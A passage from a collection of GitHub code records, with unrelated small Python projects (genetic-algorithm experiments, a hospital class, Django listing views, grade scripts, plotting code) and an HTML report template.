not None:\n fitness = 'Fitness: ' + str(fitness) + ' '\n else:\n fitness = ''\n\n if scatter:\n plt.scatter(x_axis_data, y_axis_data, marker=\"1\")\n else:\n plt.plot(x_axis_data, y_axis_data,\n label=cycles + processing_time + fitness)\n\n plt.xlabel(x_axis_name)\n plt.ylabel(y_axis_name)\n\n plt.title(\"\\n\".join(wrap(title + \" (Selection: \" + str(select_type) + \", Crossover: \" + str(cross_type)\n + \", mr: \" + str(mr) + \", cr: \" + str(cr) + \")\", 60)))\n\n plt.legend(prop={'size': 10})\n\n plt.savefig('exp3/selection-' + str(select_type) + '-crossover-' + str(cross_type)\n + '-cr-' + str(cr) + '-mr-' + str(mr) + '.png')\n plt.show()\n plt.close()\n\n\ncr_rate = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\nmr_rate = [0.05, 0.1, 0.15, 0.2, 0.25, 0.3]\n\n\ndef exp3(coupling, cross_type, select_type):\n generations = [i for i in range(30, 110, 10)]\n fitness_scores_generation = []\n\n cr = 0.1\n mr = 0.3\n\n for size in generations:\n ga = GA(coupling=coupling, stakeholder_importance=(6, 4),\n release_relative_importance=(0.8, 0.1, 0.1),\n release_duration=27, cross_type=cross_type, select_type=select_type, population_size=size,\n mutation_rate=mr, crossover_rate=cr)\n result = ga.solve()\n fitness_scores_generation.append(result[1])\n\n plot_data(generations, fitness_scores_generation, \"Population Size\", \"Best Fitness Score\",\n \"Algorithm Efficiency with Population Size\", cross_type=cross_type, select_type=select_type,\n mr=mr, cr=cr, fitness=max(fitness_scores_generation))\n\n\ndef exp2(coupling, cross_type, select_type):\n max_cycles = 1000\n iterations = [i for i in range(0, max_cycles)]\n runs = 10\n\n for cr in cr_rate:\n avg_scores = []\n for mr in mr_rate:\n scores_bucket = [[] for _ in range(max_cycles)]\n for r in range(0, runs):\n ga = GA(coupling=coupling, stakeholder_importance=(6, 4), release_relative_importance=(0.8, 0.1, 0.1),\n release_duration=27, cross_type=cross_type, select_type=select_type, crossover_rate=cr,\n mutation_rate=mr, max_cycles=max_cycles - 1)\n ga.solve()\n\n for i, best in ga.best_per_iteration:\n scores_bucket[i].append(best)\n avg_scores.append([sum(bucket) / runs for bucket in scores_bucket])\n\n df = pd.DataFrame({'x': iterations, 'y1': avg_scores[0], 'y2': avg_scores[1],\n 'y3': avg_scores[2], 'y4': avg_scores[3],\n 'y5': avg_scores[4], 'y6': avg_scores[5]})\n\n plt.title(\"\\n\".join(wrap(\"Fitness Function (Selection: \" + str(select_type) + \", Crossover: \" + str(cross_type)\n + \", cr: \" + str(cr) + \")\", 60)))\n plt.xlabel('Iteration')\n plt.ylabel('Average Fitness Score From 10 Runs')\n\n plt.plot('x', 'y1', data=df, color='blue', linewidth=3, label=\"0.05\")\n plt.plot('x', 'y2', data=df, color='brown', linewidth=2.8, label=\"0.1\", linestyle='dashed')\n plt.plot('x', 'y3', data=df, color='olive', linewidth=2.6, label=\"0.15\")\n plt.plot('x', 'y4', data=df, color='red', linewidth=2.4, label=\"0.2\", linestyle='dashed')\n plt.plot('x', 'y5', data=df, color='green', linewidth=2.2, label=\"0.25\")\n plt.plot('x', 'y6', data=df, color='black', linewidth=2, label=\"0.3\", linestyle='dashed')\n plt.legend(prop={'size': 10})\n plt.savefig('exp2/selection-' + str(select_type) + '-crossover-' + str(cross_type)\n + '-cr-' + str(cr) + '.png')\n plt.show()\n plt.close()\n\n\ndef exp1(coupling, cross_type, select_type):\n results = []\n\n for cr in cr_rate:\n for mr in mr_rate:\n ga = GA(coupling=coupling, stakeholder_importance=(6, 4), release_relative_importance=(0.8, 0.1, 0.1),\n release_duration=27, cross_type=cross_type, select_type=select_type, crossover_rate=cr,\n mutation_rate=mr, auto_termination=True, max_cycles=2000, population_percentage=0.3)\n ga.solve()\n\n # cross_type, select_type, fitness, mr, cr, cycles, time\n results.append((cross_type, select_type, ga.objective_function(ga.mobile_release_plan), mr, cr, ga.cycles,\n ga.end - ga.start))\n iterations = [i for i, _ in ga.best_per_iteration]\n scores = [best for _, best in ga.best_per_iteration]\n\n plot_data(sorted(iterations), sorted(scores), \"Iteration\", \"Fitness Score\",\n \"Fitness Function\", cross_type=cross_type, select_type=select_type,\n fitness=ga.objective_function(ga.mobile_release_plan), mr=mr, cr=cr,\n cycles=ga.cycles, processing_time=ga.end - ga.start)\n\n results.sort(key=lambda s: s[2])\n df2 = pd.DataFrame(np.array(results),\n columns=['Crossover Type', 'Selection', 'Fitness Score', 'Mutation Rate', 'Crossover Rate',\n 'Cycles Taken to Converge', 'Time'])\n df2.to_csv('exp1/selection-' + str(select_type) + '-crossover-' + str(cross_type) + '.csv')\n\n\ndef run():\n d = 27\n i = (6, 4)\n ri = (0.8, 0.1, 0.1)\n ga = GA(coupling=None, stakeholder_importance=i, release_relative_importance=ri,\n release_duration=d, cross_type='ordered', select_type='fittest', crossover_rate=0.9,\n mutation_rate=0.3, auto_termination=True, population_percentage=0.3)\n\n ga.solve()\n processing_time = ga.end - ga.start\n print('Processing Time: ' + str(processing_time))\n save_model_result(ga, 'results/mrp_ga-evaluation-alt.csv')\n\n\ndef main():\n # coupling = {(\"F7\", \"F8\"), (\"F9\", \"F12\"), (\"F13\", \"F14\")}\n coupling = {}\n\n # exp2(coupling, \"ordered\", \"fittest\")\n # exp2(coupling, \"ordered\", \"proportionate\")\n # exp2(coupling, \"ordered\", \"tournament\")\n\n # exp3(coupling, \"partially_matched\", \"fittest\")\n # exp2(coupling, \"partially_matched\", \"proportionate\")\n # exp2(coupling, \"partially_matched\", \"tournament\")\n #\n # exp2(coupling, \"edge_recombination\", \"fittest\")\n # exp2(coupling, \"edge_recombination\", \"proportionate\")\n # exp2(coupling, \"edge_recombination\", \"tournament\")\n\n run()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"geegog/MobileReleasePlanner","sub_path":"planner/ga.py","file_name":"ga.py","file_ext":"py","file_size_in_byte":24844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7539756927","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 31 18:44:50 2020\n\n@author: simonugor\n\"\"\"\n\nfrom Patient import Patient\nimport uuid\nclass Hospital:\n def __init__(self, name, capacity):\n self.ID= uuid.uuid1()\n self.name = name\n self.capacity = int (capacity) \n self.patients = [] # List of patients admitted to the hospital \n self.staff = [] # List of doctors and nurses working in the hospital\n self.number_of_staff = None\n \n # return the percentage of occupancy of this hospital \n def occupancy (self): \n return 100* len(self.patients) / self.capacity\n \n # admit a patient to the hospital of given name and date of birth \n def admission (self, name, dob): \n p = Patient (name, dob)\n self.patients.append(p)\n message = \"New Patient added.\"\n \n def add_staff(self, staff_to_add):\n print(\"add_staff responding\")\n self.staff.append(staff_to_add)\n print(len(self.staff))\n \n def addPatient (self, patient):\n self.patients.append(patient)\n print(self.patients)\n \n def dischargePatient(self, patient):\n self.patients.remove(patient)\n print(self.patients)\n \n \n def serialize(self):\n self.number_of_staff = len(self.staff)\n return {\n 'id': self.ID, \n 'name': self.name, \n 'capacity': self.capacity,\n 'occupancy': self.occupancy(),\n 'staff members': self.number_of_staff\n }\n \n","repo_name":"simonugor/CovidManagementSystem","sub_path":"Hospital.py","file_name":"Hospital.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4347870115","text":"def criarVetor(vet):\n n = 0\n for i in range(0, TAM):\n n = float(input(\"Digite a nota do aluno: \"))\n vet[i] = n\n return vet\n\ndef mediaAluno(vet):\n soma = 0\n for i in range(0, TAM):\n soma += vet[i]\n media = soma / TAM\n return media\n\ndef qtdAlunoAR(vet, media):\n contA = 0\n contR = 0\n for i in range(0, TAM):\n if vet[i] >= media:\n contA += 1\n else:\n contR += 1\n return contA, contR\n\nTAM = 10\nvet = [0]*TAM\nvet = criarVetor(vet)\nmedia = 0\nmedia = mediaAluno(vet)\naprovados, reprovados = qtdAlunoAR(vet, media)\n\nprint(\"A media da turma foi de\", media,\"onde\", aprovados,\"alunos tiveram nota\\\nacima da media e\", reprovados,\"alunos tiveram nota abaixo da media\")\n","repo_name":"DougMouraA/Lista-de-Fundamentos","sub_path":"P2/vetorAluno.py","file_name":"vetorAluno.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34791078993","text":"from .Job import Job\nimport glob\nimport os\n\nQUEUE_JOBS = \"QM_qJobs\"\nRUNNING_JOBS = \"QM_Jobs\"\nERROR_JOBS = \"QM_lost+found\"\nDONE_JOBS = \"QM_dJobs\"\n\nclass Jobs(object):\n def __init__(self, queue_manager):\n self.queue_manager = queue_manager\n\n def _get_jobs_folder_path(self, type):\n \"\"\"\n type must be: \"queue\", \"running\", \"done\", \"error\" or None\n \"\"\"\n jobs_folder = ''\n if type==QUEUE_JOBS:\n return os.path.join(self.queue_manager.qm_folder, QUEUE_JOBS)\n elif type==ERROR_JOBS:\n return os.path.join(self.queue_manager.qm_folder, ERROR_JOBS)\n elif type==DONE_JOBS:\n return os.path.join(self.queue_manager.qm_folder, DONE_JOBS)\n elif type==RUNNING_JOBS:\n return os.path.join(self.queue_manager.qm_folder, RUNNING_JOBS)\n else:\n return self.queue_manager.qm_folder\n \n def get_jobs(self, type=None):\n \"\"\"\n get jobs in \"queue\", \"running\", \"done\", \"error\"\n return an array of jobs\n \"\"\"\n jobs_folder = self._get_jobs_folder_path(type)\n jobs = glob.glob(jobs_folder+'/*.j')\n jobs_data = []\n for job_path in jobs:\n loc, name = os.path.split(job_path)\n job = Job(loc=loc, name=name)\n jobs_data.append(job)\n if len(jobs_data) == 0:\n return jobs_data\n return jobs_data.reverse()\n ","repo_name":"nguacon01/QM_custom","sub_path":"app/Jobs.py","file_name":"Jobs.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27514978569","text":"# plot the Pc versus diff\nimport pathlib\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport os\nfrom re import search\n\nimport PIL\nfrom PIL import Image\nfrom PIL import ImageFont\nfrom PIL import ImageDraw\n\nfsize = 8\n\nfile_dir = os.getcwd()\nmaster_dir = file_dir + '/../../../All_data/' # gets master directory\nf_dir = master_dir + '/'\n\nrangemax = 20.0\n\nlist_files = ['XeKr_Mix_273K_1Bar', 'XeKr_Mix_273K_10Bar']\n\n\nlist_names = [\"1 Bar\", \"10 Bar\"]\nlist_labels = [\"a\", \"b\"]\n\nlist_img = []\n\nF1bar = pd.read_excel(master_dir + 'SI.xlsx', 'XeKr_Mix_273K_1Bar')\nF10bar = pd.read_excel(master_dir + 'SI.xlsx', 'XeKr_Mix_273K_10Bar')\n\nF1bar = F1bar.rename(columns = {F1bar.columns[0] : \"ID\", F1bar.columns[1] : \"Temp\", \n F1bar.columns[2] : \"Pres\", F1bar.columns[3] : \"Kr\", \n F1bar.columns[4] : \"Xe\"})\n\nF10bar = F10bar.rename(columns = {F10bar.columns[0] : \"ID\", F10bar.columns[1] : \"Temp\", \n F10bar.columns[2] : \"Pres\", F10bar.columns[3] : \"Kr\", \n F10bar.columns[4] : \"Xe\"})\n\nF1bar['Select'] = (F1bar['Xe']/0.2)/(F1bar['Kr']/0.8)\nF10bar['Select'] = (F10bar['Xe']/0.2)/(F10bar['Kr']/0.8)\n# change the y-axis\nF1bar.loc[F1bar['Select'] > rangemax, 'Select'] = rangemax\nF10bar.loc[F10bar['Select'] > rangemax, 'Select'] = rangemax\nfig, ax = plt.subplots()\n#right = ax.spines['right']\n#right.set_visible(False)\n#up = ax.spines['top']\n#up.set_visible(False)\n#ax.set_xscale('log')\n#ax.set_yscale('log')\nline = plt.scatter(F1bar['Xe'], F1bar['Select'], color = 'orange', label = \"1 Bar\")\nline2 = plt.scatter(F10bar['Xe'], F10bar['Select'], color = 'blue', label = \"10 Bar\")\nline.set_clip_on(False)\nline2.set_clip_on(False)\n#plt.xticks(np.arange(0, rangemax + int(rangemax/4), int(rangemax/4)), fontsize = fsize)\nplt.yticks(np.arange(0, rangemax + int(rangemax/4), int(rangemax/4)), fontsize = fsize)\nplt.xlabel(r\"GCMC Mixture Xe Loading [cm$^{\\rm 3}$/cm$^{\\rm 3}$]\", fontsize = fsize, fontweight='bold')\nplt.ylabel(\"GCMC Selectivity\", fontsize = fsize, fontweight='bold')\n\n\n#plt.axis('square')\nplt.ylim([0, rangemax])\n#plt.xlim([0, np.max(GCMC['Xe'])])\n\nplt.legend()\nplt.savefig(file_dir + '/' + 'pareto.png', dpi=900, bbox_inches = 'tight')\n\n#plt.clf()\n","repo_name":"snurr-group/energygrid","sub_path":"Manuscript-Figures/SI/Figure S10/plot_pareto.py","file_name":"plot_pareto.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"993197948","text":"Retail = 2.5\n\nwhile True:\n Wholesale_Cost = int(input(\"Enter the item's wholesale cost: \"))\n if Wholesale_Cost == 0:\n print(\"ERROR: the cost of the item cannot be zero\")\n elif Wholesale_Cost < 0:\n print(\"ERROR: The cost of the item cannot be negitive\")\n else:\n TotalCost = Wholesale_Cost * Retail\n print(\"Retail price: ${0:.2f}\".format(TotalCost))\n Again = input(\"Would you like to look for another item? \")\n if Again == \"n\" or Again == \"N\":\n print(\"Thank you for using our price computation system, have a wonderful day\")\n break\n else:\n print(\"You entered an invalid answer, the program will be exiting...\")\n break","repo_name":"NicholasPaulick/CompScience1010","sub_path":"Labs/Lab4_9.21.2021/exercise2.py","file_name":"exercise2.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6552031841","text":"import sys\nimport random\n\ndef make_m(val, maxVal):\n return (10*abs(val))/(0.4*maxVal)\n\ndef make_line(x, y, sw, function, m1 = 0, m2 = 0):\n if function == \"square\":\n return str(x) + \" \" + str(y) + \" \" + str(sw) + \" \" + str(255) + \" square\\n\"\n if function == \"above\" or function == \"below\" or function == \"left\" or function == \"right\":\n return str(x) + \" \" + str(y) + \" \" + str(sw * 0.93) + \" \" + str(sw) + \" \" + str(m1) + \" \" + str(255) + \" \" + function + \"\\n\"\n if function == \"top_left\" or function == \"top_right\" or function == \"bottom_left\" or function == \"bottom_right\":\n return str(x) + \" \" + str(y) + \" \" + str(m1) + \" \" + str(m2) + \" \" + str(sw * 0.93) + \" \" + str(sw) + \" \" + str(255) + \" \" + function + \"\\n\"\n\ndef make_bars(maxX, maxY, num):\n output = \"\"\n sw = 2\n for i in range(num):\n x = random.uniform(-0.4*(maxX), 0.4*maxX)\n y = random.uniform(-0.4*maxY, 0.4*maxY)\n \n if abs(x) < 0.07*maxX and abs(y) < 0.07*maxY:\n #x and y both close to axis\n output += make_line(x, y, sw, \"square\") \n elif abs(x) < 0.07*maxX:\n # only x close to axis\n m = make_m(y, maxY)\n if y > 0:\n output += make_line(x, y, sw, \"above\", m)\n else:\n output += make_line(x, y, sw, \"below\", m)\n elif abs(y) < 0.07*maxY:\n # only y close to axis \n m = make_m(x, maxX)\n if x > 0:\n output += make_line(x, y, sw, \"right\", m)\n else:\n output += make_line(x, y, sw, \"left\", m)\n else:\n # neither\n m1 = make_m(x, maxX)\n m2 = make_m(y, maxY)\n if x > 0:\n if y > 0:\n output += make_line(x, y, sw, \"top_right\", m1, m2)\n else:\n output += make_line(x, y, sw, \"bottom_right\", m1, m2)\n else:\n if y > 0:\n output += make_line(x, y, sw, \"top_left\", m1, m2)\n else:\n output += make_line(x, y, sw, \"bottom_left\", m1, m2)\n return output\n\ndef main():\n fileName = '3Dbar_random3.eps'\n rules = \"\"\n maxX = int(sys.argv[1])\n maxY = int(sys.argv[2])\n num = int(sys.argv[3])\n\n with open('3Dbar_functions.txt', 'r') as file:\n rules_list = file.readlines()\n for line in rules_list:\n rules += line\n rules += '\\n\\n'\n \n with open(fileName, 'w') as file:\n file.write('%!PS-Adobe-3.0 EPSF-3.0\\n')\n file.write('%%BoundingBox: 0 0 ' + str(maxX) + ' ' + str(maxY) + '\\n\\n')\n file.write(str(maxX/2) + ' ' + str(maxY/2) + ' translate\\n\\n')\n file.write(rules)\n file.write(make_bars(maxX, maxY, num))\n file.write('showpage')\nmain()","repo_name":"nataliekorzh/3DBarArt","sub_path":"3Dbar_random.py","file_name":"3Dbar_random.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71490665153","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\n\"\"\"\n{\t\t1: [95, 85], \n\t\t2: [90, 90], \n\t\t3: [100, 99]}\n\nresult:75%,passed\n\n\"\"\"\nstuTotal=int(input())\ngradeLst=[]\nfor i in range(stuTotal):\n\tgradeLst.append([(i+1),list(map(int,input().strip().split()))])\n\nrel=sorted(gradeLst,key=lambda x:(-sum(x[1]),-x[1][0]))\nidLst=[]\nfor v in rel:\n\tidLst.append(v[0])\n\tprint (v[0],sum(v[1]),v[1][0],v[1][1])\n\n\n\n# 统计逆序对,并输出\nunOrder=0\nfor i in range(len(idLst)-1):\n\tif idLst[i]>max(idLst[i+1:]):\n\t\tunOrder+=len(idLst[i+1:])\n\t\tcontinue\n\telif idLst[i]idLst[j]:\n\t\t\tunOrder+=1\nprint(unOrder) \n","repo_name":"Devinwon/algorithmcamp","sub_path":"week-1-set2/grade-sort.py","file_name":"grade-sort.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34453075052","text":"from BasePage import BasePage\nfrom BasePage import IncorrectPageException\nfrom oig.Constants import TT_Constants\nfrom oig.UIMap import OfficeInvestigationsPageMap\n\n\n#this is a page object for the Office of Investigations info page\n#accessed after clicking the Office of Investigations link \nclass OfficeInvestigationsPage(BasePage):\n\n def __init__(self, driver):\n super(OfficeInvestigationsPage, self).__init__(driver)\n \n def _verify_page(self):\n try:\n self.wait_for_element_visibility(10, \n \"xpath\", \n OfficeInvestigationsPageMap['OfficeInvestigationsBannerXpath']\n )\n except: \n raise IncorrectPageException\n \n \n \n ","repo_name":"vleung1/portfolio","sub_path":"Vincent_Leung_Portfolio_2016/test-automation/oig/pages/OfficeInvestigationsPage.py","file_name":"OfficeInvestigationsPage.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35580593995","text":"#!/usr/bin/env python3\n\n\nfrom armarx_core.parser import ArmarXArgumentParser as ArgumentParser\nfrom armarx_core import ice_manager\nfrom armarx_core import slice_loader\n\nslice_loader.load_armarx_slice(\n \"ComponentsExample\", \"RNGComponentProviderIceInterface.ice\"\n)\nfrom armarx import RNGProviderComponentInterface\n\nimport logging\nimport random\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass RNGProviderComponent(RNGProviderComponentInterface):\n def __init__(self):\n super(RNGProviderComponentInterface, self).__init__()\n\n def generateRandomInt(self, current=None):\n r = int(random.random() * 10000.0)\n logger.info(\"returning random variable {}\".format(r))\n return r\n\n\ndef main():\n parser = ArgumentParser(description=\"RNGProviderComponent\")\n parser.parse_args()\n\n ice_manager.register_object(RNGProviderComponent(), \"RNGProvider\")\n ice_manager.wait_for_shutdown()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"markusgrotz/python3-armarx","sub_path":"examples/rng_proxy.py","file_name":"rng_proxy.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71407882755","text":"def split(str):\n return list ( str )\n\n\nstr = split ( input ( ) )\nout = [ ]\ntemp = [ ]\nfor i in range ( len ( str ) ):\n if i > 0 and str[ i ] != str[ i - 1 ]:\n out.append ( temp )\n temp = [ str[ i ] ]\n else:\n temp.append ( str[ i ] )\n if i == len ( str ) - 1:\n # temp.append(str[i])\n out.append ( temp )\ncount = 0\nfor i in range ( len ( out ) ):\n if i > 0:\n if len ( out[ i ] ) <= len ( out[ i - 1 ] ):\n count += len ( out[ i ] )\n else:\n count += len ( out[ i - 1 ] )\nprint ( count )\n","repo_name":"akshya672222/PycharmProjects","sub_path":"untitled/HackerRank/Counting_Binary_Substring.py","file_name":"Counting_Binary_Substring.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23588818781","text":"def main():\n\tn = int(input())\n\tfor i in range(1, n+1):\n\t\tprint(\"Case #%d: \" % i, end=\"\")\n\t\tsolve()\n\ndef solve():\n\tn, k = map(int, input().split())\n\tbudget = float(input())\n\n\tcores = sorted(map(float, input().split()))\n\tbest = 0\n\n\tfor i in range(1, len(cores)+1):\n\t\ts = cores[:i]\n\t\tstart = s[:-1]\n\t\tmodel = s[-1]\n\n\t\tcost = model * len(start) - sum(start)\n\t\tif cost < budget:\n\t\t\tv = min(1, model + (budget-cost)/len(s))\n\t\t\tbest = v**(len(s))\n\t\t\tfor c in cores[i:]:\n\t\t\t\tbest *= c\n\n\tother = min(1, cores[0] + budget)\n\tfor c in cores[1:]:\n\t\tother *= c\n\n\tbest = max(best, other)\n\n\tprint(best)\n\nmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_211/73.py","file_name":"73.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72303271554","text":"import numpy as np\nimport keras.utils\nfrom keras.models import load_model\nimport imgs,data,basic,models,extract,local\n\ndef extract_person(frame_path,model_path,out_path,upsample=False):\n seq_dict=imgs.read_seqs(frame_path)\n model=load_model(model_path)\n feat_dict={} \n for name_i,seq_i in seq_dict.items():\n seq_i= data.format_frames(seq_i)\n seq_i=model.predict(seq_i)\n if(upsample):\n seq_i=local.upsampling(seq_i)\n feat_dict[name_i]=seq_i\n extract.save_seqs(feat_dict,out_path)\n\ndef person_model(in_path,out_path,n_epochs=100):\n seq_dict=imgs.read_seqs(in_path)\n train,test=data.split(seq_dict.keys())\n persons=[data.parse_name(name_i)[1]-1 for name_i in train]\n persons=keras.utils.to_categorical(persons)\n X,y=to_dataset(train,seq_dict)\n n_cats,n_channels=y.shape[1],X.shape[-1]\n model=models.make_exp(n_cats,n_channels)\n model.summary()\n model.fit(X,y,epochs=n_epochs,batch_size=256)\n model.save(out_path)\n\ndef to_dataset(names,img_seq):\n X,y=[],[]\n for name_i in names:\n cat_i=data.parse_name(name_i)[1]-1\n cat_i=int(cat_i/2)\n for frame_j in img_seq[name_i]:\n X.append(frame_j)\n y.append(cat_i)\n X=data.format_frames(X)\n return np.array(X),keras.utils.to_categorical(y)","repo_name":"tjacek/res_ensemble","sub_path":"persons.py","file_name":"persons.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33444349264","text":"from django.shortcuts import render, redirect \nfrom .models import Listing, Listing_rent \nfrom .forms import ListingForm \nfrom django.contrib.auth.decorators import login_required\nfrom users.decorators import allowed_users \nfrom .filters import BuyFilter\nfrom django.core.paginator import Paginator \n\n\n# Create your views here.\n# CGUD - create, read, update, delete and list(will show all the elements) \n\nstate_dict = {\n 'AL': 'Alabama',\n 'AK': 'Alaska',\n 'AZ': 'Arizona',\n 'AR': 'Arkansas',\n 'CA': 'California',\n 'CO': 'Colorado',\n 'CT': 'Connecticut',\n 'DE': 'Delaware',\n 'FL': 'Florida',\n 'GA': 'Georgia',\n 'HI': 'Hawaii',\n 'ID': 'Idaho',\n 'IL': 'Illinois',\n 'IN': 'Indiana',\n 'IA': 'Iowa',\n 'KS': 'Kansas',\n 'KY': 'Kentucky',\n 'LA': 'Louisiana',\n 'ME': 'Maine',\n 'MD': 'Maryland',\n 'MA': 'Massachusetts',\n 'MI': 'Michigan',\n 'MN': 'Minnesota',\n 'MS': 'Mississippi',\n 'MO': 'Missouri',\n 'MT': 'Montana',\n 'NE': 'Nebraska',\n 'NV': 'Nevada',\n 'NH': 'New Hampshire',\n 'NJ': 'New Jersey',\n 'NM': 'New Mexico',\n 'NY': 'New York',\n 'NC': 'North Carolina',\n 'ND': 'North Dakota',\n 'OH': 'Ohio',\n 'OK': 'Oklahoma',\n 'OR': 'Oregon',\n 'PA': 'Pennsylvania',\n 'RI': 'Rhode Island',\n 'SC': 'South Carolina',\n 'SD': 'South Dakota',\n 'TN': 'Tennessee',\n 'TX': 'Texas',\n 'UT': 'Utah',\n 'VT': 'Vermont',\n 'VA': 'Virginia',\n 'WA': 'Washington',\n 'WV': 'West Virginia',\n 'WI': 'Wisconsin',\n 'WY': 'Wyoming'\n}\n\n\n\ndef listing_list(request): # this function will list out all elements in listing database \n #filter_data = request.session.get('filter_data')\n #print(filter_data) # working until here. How to give this data as a initial data for the BuyFilter? ? \n\n listings = Listing.objects.all() # list of all objects \n \n buy_filter = BuyFilter(request.GET, queryset=listings) # django_filter is no a form, it is a class object ?? \n \n listings = buy_filter.qs\n \n p = Paginator(listings, 2) \n page = request.GET.get('page') \n listing_list = p.get_page(page) \n \n context = { \"listings\" : listings, 'buy_filter': buy_filter, 'listing_list': listing_list}\n return render(request, \"listings.html\", context) \n\n\ndef listing_retrieve(request, pk): # this function will list a signle element by id \n listing = Listing.objects.get(id=pk) \n if listing.state != None: \n state = state_dict[listing.state]\n else: \n state = \"No State\"\n context = { \"listing\" : listing, \"state\": state} \n return render(request, \"listing.html\", context) \n\n\n@login_required(login_url=\"/login/\") \ndef listing_create(request): # function to create a new listing and add to database. it is using django model forms. \n form = ListingForm() \n if request.method == \"POST\": \n form = ListingForm(request.POST, request.FILES) \n if form.is_valid():\n property = form.save() \n property.user = request.user \n property.save() \n data = form.cleaned_data \n return redirect(\"/listings/all/\")\n context = {\"form\" : form} \n return render(request, \"listing_create.html\", context) \n\n\n\n@login_required(login_url=\"/login/\")\ndef listing_update(request, pk): # this function is for updating the listing information\n listing = Listing.objects.get(id=pk) \n form = ListingForm(instance=listing) \n if request.method == \"POST\": \n form = ListingForm(request.POST, request.FILES or None, instance=listing) \n if form.is_valid(): \n form.save()\n return redirect(\"/user/myproperties\") \n context = {\"form\": form} \n return render(request, \"listing_update.html\", context) \n\n\n@login_required(login_url=\"/login/\")\ndef listing_delete(request, pk): # this function is for deleting the listing \n listing = Listing.objects.get(id=pk) \n listing.delete() \n return redirect(\"/listings/all/\")\n\ndef listing_rent_list(request):\n rents = Listing_rent.objects.all() \n context = {\"rents\": rents}\n return render(request, \"listings_rent.html\", context)\n\ndef listing_rent(request, pk): \n rent = Listing_rent.objects.get(pk=pk) \n context = {\"rent\": rent} \n return render(request, \"listing_rent.html\", context) \n\n\n","repo_name":"AibekMinbaev/great-estate","sub_path":"listings/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75010972354","text":"# (Display the first days of each month)\r\n\r\n# Program to Display the first days of each month\r\nYear,Fday=eval(input(\"Enter the year and First day of the year [0-sunday...6-saturday]:\"))\r\ndays = 0\r\nfor i in range(0,12):\r\n if (i==1 or i==3 or i==5 or i==7 or i==8 or i == 10 or i==12):\r\n days = 31\r\n elif (i==2):\r\n days = 28\r\n elif (i==4 or i== 6 or i==9 or i== 11):\r\n days = 30\r\n \r\n Fday = Fday + days\r\n day = Fday % 7\r\n \r\n if day == 0:\r\n dayN = \"Sunday\"\r\n elif day==1:\r\n dayN = \"Monday\"\r\n elif day==2:\r\n dayN = \"Tuesday\"\r\n elif day==3:\r\n dayN = \"Wednesday\"\r\n elif day==4:\r\n dayN =\"Thursday\"\r\n elif day==5:\r\n dayN=\"Friday\"\r\n elif day==6:\r\n dayN=\"Saturday\"\r\n\r\n if i==0:\r\n MonN=\"January\"\r\n elif i==1:\r\n MonN=\"February\"\r\n elif i==2:\r\n MonN=\"March\"\r\n elif i==3:\r\n MonN=\"April\"\r\n elif i==4:\r\n MonN=\"May\"\r\n elif i==5:\r\n MonN=\"June\"\r\n elif i==6:\r\n MonN=\"July\"\r\n elif i==7:\r\n MonN=\"August\"\r\n elif i==8:\r\n MonN=\"September\"\r\n elif i==9:\r\n MonN=\"October\"\r\n elif i==10:\r\n MonN=\"November\"\r\n elif i==11:\r\n MonN=\"December\"\r\n \r\n print (MonN,\"1st\",Year,\"is\",dayN)","repo_name":"Arshdeep-kapoor/Python","sub_path":"chapter5-ques30.py","file_name":"chapter5-ques30.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40612211962","text":"# -*- coding:utf-8 -*-\n# The output_template.py in FeatureAnalyzer\n# created by Jiang Feng(silencejiang@zju.edu.cn)\n# created at 19:39 on 2022/4/10\n\ntmp = \\\n\"\"\"\n\n\n\nTitle\n\n\n\n%(static)s\n\n\n\"\"\"\nstatic = \\\n\"\"\"

%(head)s

\n

%(desc)s

\n
运行时间
\n
命令开始时间 %(s_time)s
\n
命令结束时间 %(e_time)s
\n
命令运行时间 %(duration)s
\n
入口参数
\n
\n
\n %(parameters)s\n
\n
\n
运算结果
\n
\n
\n %(result)s\n
\n
